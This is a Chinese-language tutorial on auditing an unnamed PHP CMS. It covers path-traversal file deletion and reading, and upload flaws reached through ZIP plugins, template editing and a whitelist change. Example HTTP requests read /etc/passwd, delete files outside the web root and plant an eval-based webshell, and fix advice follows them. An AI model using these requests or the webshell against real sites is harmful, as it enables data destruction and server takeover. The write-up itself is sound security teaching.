某cms审计
字数 2053 2025-08-29 08:30:36
CMS安全审计实战教学:PHP漏洞挖掘与分析
前言
本教学文档基于某CMS的安全审计案例,详细讲解PHP CMS系统中常见的漏洞类型、挖掘方法和利用技术。通过本案例,您将学习到任意文件删除、任意文件读取、文件上传等多种漏洞的发现与利用过程。
一、任意文件删除漏洞
1. 后台附件管理处的文件删除漏洞
漏洞位置:后台附件管理功能中的文件和图片管理模块
漏洞分析:
- 删除操作通过HTTP请求实现
- 请求中的
path参数未做安全过滤 - 可通过修改
path参数实现跨目录删除
利用方法:
- 正常删除请求示例:
POST /path/to/delete HTTP/1.1 path=uploads/s.txt - 修改为跨目录删除:
POST /path/to/delete HTTP/1.1 path=../../s.txt
修复建议:
- 对路径参数进行规范化处理
- 检查路径是否在允许的目录范围内
- 禁止路径中包含
../等目录遍历字符
2. 数据备份处的文件删除漏洞
漏洞位置:数据列表的数据备份功能
漏洞分析:
- 通过
delFile函数处理删除操作 - 函数接受
tb和name两个POST参数 tb用于配置初始化设置文件路径name直接赋值为文件名,无过滤
利用方法:
POST /path/to/delFile HTTP/1.1
tb=config/path
name=../../s.txt
3. 模板在线编辑处的文件删除漏洞
漏洞位置:editor模块下的delete_node控制器
漏洞分析:
- 通过
$type参数控制删除文件或目录 - 路径构造需要特殊形式:
template/../../ - 直接拼接路径会被拦截
利用方法:
POST /editor/delete_node HTTP/1.1
path=template/../../s.txt
二、任意文件读取漏洞
漏洞位置:模板在线编辑处的get_file控制器
漏洞分析:
- 未对读取的文件路径进行限制
- 可读取服务器上的任意文件
利用方法:
GET /editor/get_file?file=../../etc/passwd HTTP/1.1
修复建议:
- 限制可读取的文件目录
- 检查文件路径是否包含特殊字符
- 实现文件白名单机制
三、文件上传漏洞(多处)
1. 插件管理处的ZIP解压上传
漏洞位置:后台插件管理功能
漏洞分析:
- 允许上传ZIP格式的插件包
- 解压后未对文件内容进行检测
- 可上传包含恶意代码的文件
利用方法:
- 创建包含WebShell的PHP文件(如ss.php)
- 打包为ZIP格式
- 通过插件管理上传
2. 模板管理处的ZIP解压上传
漏洞位置:后台模板管理功能
漏洞分析:
- 与插件管理类似,允许上传ZIP模板包
- 解压后未进行安全检查
利用方法:
与插件管理处相同
3. 模板在线编辑处的文件创建
漏洞位置:editor模块下的create_node控制器
漏洞分析:
- 允许创建新文件
- 路径可通过
template/../../形式回溯
利用方法:
POST /editor/create_node HTTP/1.1
path=template/../../shell.php
content=<?php eval($_GET['cmd']);?>
4. 直接文件上传接口
漏洞位置:editor模块提供的上传接口
漏洞分析:
- 提供直接文件上传功能
- 路径可通过特殊形式绕过限制
利用方法:
- 拦截上传请求
- 修改路径为
template/../../shell.php - 上传WebShell
5. 安全配置绕过上传
漏洞位置:后台栏目管理→分类管理→图片上传功能
漏洞分析:
- 前端限制上传文件类型(如仅允许png,jpg)
- 后端从数据库
system_upset表读取白名单 - 可通过修改安全配置添加php后缀
利用步骤:
- 进入网站安全配置
- 添加php到允许上传的后缀列表
- 通过BP拦截图片上传请求
- 修改文件后缀为php
- 上传WebShell
关键代码:
// base.php中的imgupload方法
public function imgupload() {
$this->allup();
}
// allup函数
function allup() {
$exts = // 从system_upset表获取白名单
// ...
}
四、漏洞挖掘方法论
-
功能点分析:
- 重点关注文件操作相关功能(上传、删除、读取)
- 注意模板编辑、插件管理等扩展性功能
-
参数追踪:
- 跟踪用户可控参数的传递过程
- 检查参数是否经过充分过滤
-
权限检查:
- 验证每个功能点的权限控制是否完善
- 尝试绕过权限限制
-
前端与后端验证:
- 对比前端限制与后端实际处理逻辑
- 寻找前端验证可被绕过的点
-
数据库配置影响:
- 检查安全相关配置是否存储在数据库
- 验证这些配置是否可被恶意修改
五、修复建议总结
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用白名单机制而非黑名单
-
路径安全:
- 规范化所有文件路径
- 禁止目录遍历字符
- 限制文件操作在指定目录内
-
文件上传:
- 检查文件内容而不仅是扩展名
- 对压缩包内容进行安全扫描
- 使用随机文件名并禁止直接执行
-
权限控制:
- 实现最小权限原则
- 重要操作需二次确认
-
配置安全:
- 关键安全配置应不可通过后台修改
- 或对修改操作进行严格权限控制
六、Java审计学习建议
虽然本文档主要讲解PHP审计,但作者表达了学习Java审计的意愿。以下是一些建议:
-
基础准备:
- 掌握Java语言特性和常见框架
- 了解JVM工作原理
-
审计重点:
- 反序列化漏洞
- OGNL表达式注入
- 权限绕过
- SQL注入
-
学习资源:
- 研究Java常见漏洞模式(CWE)
- 分析知名Java框架漏洞(如Struts2)
- 参与开源项目代码审计
-
工具使用:
- 掌握Java反编译工具(JD-GUI等)
- 学习静态代码分析工具(Fortify, FindBugs等)
通过本案例的学习,您应该已经掌握了PHP CMS系统常见漏洞的挖掘方法和利用技术。建议在实际审计工作中遵循负责任的披露原则,发现漏洞后及时通知厂商修复。